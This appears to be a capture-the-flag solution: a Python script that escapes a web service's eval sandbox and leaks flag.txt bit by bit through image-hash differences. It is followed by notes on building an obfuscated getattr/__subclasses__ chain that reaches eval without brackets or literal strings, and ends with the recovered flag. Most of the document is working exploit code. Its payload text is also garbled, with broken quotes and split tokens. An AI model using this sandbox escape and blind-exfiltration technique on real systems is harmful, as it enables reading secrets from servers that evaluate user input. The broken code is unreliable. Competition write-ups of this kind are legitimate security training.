

```

import requests as req
from bs4 import BeautifulSoup
from hashlib import md5

url = 'http://139.162.163.183:1337/'

hash_to_bit = {
    -2598182992149785871: '0',
    8833249159142287017: '1'
}

def get_payload(n):
    return "getattr(getattr(getattr(getattr(getattr(getattr(x,
".join(map(chr,(95,95,99,108,97,115,115,95,95))))),".join(map(chr,(95,95,98,97,115,101,95,95))))),".
.join(map(chr,(95,95,115,117,98,99,108,97,115,115,101,115,95,95))))().pop(),".join(map(chr,(95,9
5,105,110,105,116,95,95))) ),".join(map(chr,(95,95,103,108,111,98,97,108,115,95,95)))
),"".join(map(chr,(95,95,103,101,116,105,116,101,109,95,95))))("".join(map(chr,(95,95,98,117,105,
108,116,105,110,115,95,95))))),
".join(map(chr,(95,95,103,101,116,105,116,101,109,95,95))))("".join(map(chr,(101,118,97,108))))("
.join(map(chr,(108, 97, 109, 98, 100, 97, 32, 79, 82, 68, 69, 82, 58, 32, 108, 105, 115, 116, 40,
109, 97, 112, 40, 105, 110, 116, 44, 39, 39, 46, 106, 111, 105, 110, 40, 32, 32, 91, 98, 105, 110,
40, 111, 114, 100, 40, 99, 104, 41, 41, 91, 50, 58, 93, 46, 114, 106, 117, 115, 116, 40, 56, 44, 39,
48, 39, 41, 32, 102, 111, 114, 32, 99, 104, 32, 105, 110, 32, 111, 112, 101, 110, 40, 39, 102, 108,
97, 103, 46, 116, 120, 116, 39, 41, 46, 114, 101, 97, 100, 40, 41, 93, 32, 32, 32, 41, 41, 41, 91,
79, 82, 68, 69, 82, 93, 32, 42, 32, 51, 48))))(%s)" % (n)

def get_image_hash(n):
    html = req.get(url, params={
        'y': get_payload(n),
        'zoom': 1
    }).text
    bs = BeautifulSoup(html)
    return hash(bs.body.div.img.get('src'))

flag_binary = ""
for i in range(560):
    image_hash = get_image_hash(i)
    print(i, hash_to_bit[image_hash])
    flag_binary = flag_binary + hash_to_bit[image_hash]

print(flag_binary)
Primitives:

```

- An expression which returns the EVAL function:

```
getattr(getattr(getattr(getattr(getattr(x, '__class__'), '__base__'), '__subclasses__')().pop(),
'__init__'), '__globals__')['__builtins__']['eval']
```

- The same expression, but without []:

```
getattr(getattr(getattr(getattr(getattr(getattr(getattr(x, '__class__'), '__base__'),
'__subclasses__')().pop(), '__init__'), '__globals__'), '__getitem__')('__builtins__'),
'__getitem__')('eval')
```

- The same expression, but the strings are encoded

```
getattr(getattr(getattr(getattr(getattr(getattr(getattr(x,
".join(map(chr,(95,95,99,108,97,115,115,95,95))))),".join(map(chr,(95,95,98,97,115,101,95,95))))),'
'.join(map(chr,(95,95,115,117,98,99,108,97,115,115,101,115,95,95))))().pop(),".join(map(chr,(95,
95,105,110,105,116,95,95))) ),".join(map(chr,(95,95,103,108,111,98,97,108,115,95,95)))
),".join(map(chr,(95,95,103,101,116,105,116,101,109,95,95))))("".join(map(chr,(95,95,98,117,105,
108,116,105,110,115,95,95))))),
".join(map(chr,(95,95,103,101,116,105,116,101,109,95,95))))("".join(map(chr,(101,118,97,108))))
```

CTF{3823d09dcb7ec81a1483d67a58a55b13a37b88910d3d418fe4a53986924812fb}

~nstefan